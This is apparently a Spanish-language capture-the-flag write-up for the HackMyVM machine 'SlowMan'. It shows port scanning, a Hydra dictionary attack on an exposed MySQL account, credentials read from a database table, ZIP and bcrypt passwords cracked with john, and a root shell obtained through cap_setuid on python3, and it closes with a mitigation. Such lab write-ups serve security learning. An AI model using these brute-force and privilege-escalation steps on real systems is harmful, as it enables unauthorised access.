cd ~/blog

~/writeups/hmv/024-slowman.md

024 - SlowMan

easy Linux hmvautor: Jordy Pérez Osorio aviso legal
Weak Password en la cuenta de MySQLWeak Password en un archivo ZIP y un hash bcryptLinux Capabilities Privesc mediante cap_setuid en Python
hackmyvm.eu/machines/machine.php?vm=SlowMan

~1 min de lectura


Enumeración de servicios

Comenzamos con el escaneo general y específico de puertos:

❯ sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.20
❯ nmap -sC -sV -p21,22,80,3306 -oN 02-targeted.txt 192.168.1.20
Starting Nmap 7.94 ( https://nmap.org ) at 2024-02-10 16:37 -03
Nmap scan report for 192.168.1.20
Host is up (0.00048s latency).

PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 3.0.5
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: TIMEOUT
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to ::ffff:192.168.1.10
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 1
|      vsFTPd 3.0.5 - secure, fast, stable
|_End of status
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 02:d6:5e:01:45:5b:8d:2d:f9:cb:0b:df:45:67:04:22 (ECDSA)
|_  256 f9:ce:4a:75:07:d0:05:1d:fb:a7:a7:69:39:1b:08:10 (ED25519)
80/tcp   open  http    Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Fastgym
|_http-server-header: Apache/2.4.52 (Ubuntu)
3306/tcp open  mysql   MySQL 8.0.35-0ubuntu0.22.04.1
| mysql-info:
|   Protocol: 10
|   Version: 8.0.35-0ubuntu0.22.04.1
|   Thread ID: 11
|   Capabilities flags: 65535
|   Some Capabilities: Support41Auth, SupportsLoadDataLocal, SupportsCompression, ODBCClient, Speaks41ProtocolOld, SupportsTransactions, LongColumnFlag, IgnoreSigpipes, LongPassword, Speaks41ProtocolNew, SwitchToSSLAfterHandshake, ConnectWithDatabase, DontAllowDatabaseTableColumn, FoundRows, IgnoreSpaceBeforeParenthesis, InteractiveClient, SupportsMultipleResults, SupportsMultipleStatments, SupportsAuthPlugins
|   Status: Autocommit
|   Salt: \x7Fpm\x16{\x05BS7CFV\x7F-sZ3{\x13\x06
|_  Auth Plugin Name: caching_sha2_password
| ssl-cert: Subject: commonName=MySQL_Server_8.0.35_Auto_Generated_Server_Certificate
| Not valid before: 2023-11-22T19:44:52
|_Not valid after:  2033-11-19T19:44:52
|_ssl-date: TLS randomness does not represent time
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 38.13 seconds

Enumeramos con gobuster:

❯ gobuster dir -u 192.168.1.20 -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-big.txt -x html,php,txt -r
...
/index.html           (Status: 200) [Size: 16430]
/images               (Status: 200) [Size: 4807]
/contact.html         (Status: 200) [Size: 5232]
/css                  (Status: 200) [Size: 1746]
/js                   (Status: 200) [Size: 1151]
/why.html             (Status: 200) [Size: 6115]
/trainer.html         (Status: 200) [Size: 6407]
...

Enumeración de MySQL

El FTP admite acceso anónimo y revela un usuario potencial de MySQL, trainerjeff. Este dato resulta especialmente útil porque el puerto 3306 está publicado en la red, por lo que podemos comprobar la cuenta directamente contra el servicio sin necesitar acceso previo al sistema. La cuenta presenta un caso de Weak Password y la probamos con un ataque de diccionario mediante Hydra:

❯ hydra -l trainerjeff -P ~/Documentos/wordlists/rockyou.txt 192.168.1.20 mysql -t 64
...
[3306][mysql] host: 192.168.1.20   login: trainerjeff   password: soccer1
...

Nos conectamos y exploramos la base trainers_db:

❯ mariadb -h 192.168.1.20 -u trainerjeff -p
MySQL [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mysql              |
| performance_schema |
| sys                |
| trainers_db        |
+--------------------+

MySQL [(none)]> use trainers_db
MySQL [trainers_db]> show tables;
+-----------------------+
| Tables_in_trainers_db |
+-----------------------+
| users                 |
+-----------------------+

MySQL [trainers_db]> select * from users;
+----+-----------------+-------------------------------+
| id | user            | password                      |
+----+-----------------+-------------------------------+
|  1 | gonzalo         | tH1sS2stH3g0nz4l0pAsSWW0rDD!! |
|  2 | $SECRETLOGINURL | /secretLOGIN/login.html       |
+----+-----------------+-------------------------------+

Obtención de credenciales SSH

La tabla revela credenciales y la ruta de un login secreto. Iniciamos sesión allí y obtenemos un ZIP cifrado, cuya contraseña crackeamos con john:

❯ zip2john credentials.zip > hash
ver 2.0 efh 5455 efh 7875 credentials.zip/passwords.txt PKZIP Encr: 2b chk, TS_chk, cmplen=117, decmplen=117, crc=4981406D
❯ john -w:/home/wh01s17/Documentos/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
spongebob1       (credentials.zip/passwords.txt)
1g 0:00:00:00 DONE (2024-02-10 19:18) 33.33g/s 546133p/s 546133c/s 546133C/s 123456..christal
Use the "--show" option to display all of the cracked passwords reliably
Session completed

La contraseña spongebob1 sólo abre el contenedor ZIP. Dentro hay un .txt con otra identidad y una contraseña almacenada como hash bcrypt, así que todavía debemos resolver una segunda capa. Extraemos ese hash y lo crackeamos también con john:

❯ john -w:/home/wh01s17/Documentos/wordlists/rockyou.txt hash
Warning: detected hash type "bcrypt", but the string is also recognized as "bcrypt-opencl"
Use the "--format=bcrypt-opencl" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
tweety1          (?)
1g 0:00:00:08 DONE (2024-02-10 19:21) 0.1172g/s 135.0p/s 135.0c/s 135.0C/s thuglife..summer1
Use the "--show" option to display all of the cracked passwords reliably
Session completed

Escalada de privilegios

Con ellas iniciamos sesión por SSH y obtenemos la primera flag. Para escalar, listamos las capabilities (Linux Capabilities Privesc):

trainerjean@slowman:~$ getcap -r / 2>/dev/null
/snap/core20/2015/usr/bin/ping cap_net_raw=ep
/snap/core20/2105/usr/bin/ping cap_net_raw=ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper cap_net_bind_service,cap_net_admin=ep
/usr/bin/python3.10 cap_setuid=ep
/usr/bin/mtr-packet cap_net_raw=ep
/usr/bin/ping cap_net_raw=ep

python3 tiene cap_setuid, lo que confirmamos además en el .python_history:

trainerjean@slowman:~$ cat .python_history
import os
os.system('bash')
os.system('0')
os.setid('0')
os.setuid('0')
exit

Las capabilities dividen privilegios que tradicionalmente pertenecían por completo a root. cap_setuid=ep concede a Python la capacidad efectiva y permitida de cambiar los identificadores de usuario del proceso. Aunque no convierte cada script en root de forma automática, cualquier usuario que pueda ejecutar este intérprete puede llamar a setuid(0) y después iniciar otro programa con UID 0.

Ejecutamos python invocando setuid(0) para obtener una shell de root:

trainerjean@slowman:~$ python3
Python 3.10.12 (main, Jun 11 2023, 05:26:28) [GCC 11.4.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import os
>>> os.setuid(0)
>>> os.system('bash')
root@slowman:~#

Obtenemos nuestra flag. La mitigación correcta consiste en retirar cap_setuid del intérprete, no en bloquear una llamada concreta de Python, porque cualquier código ejecutado por ese binario puede usar la misma capacidad.

Fin.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados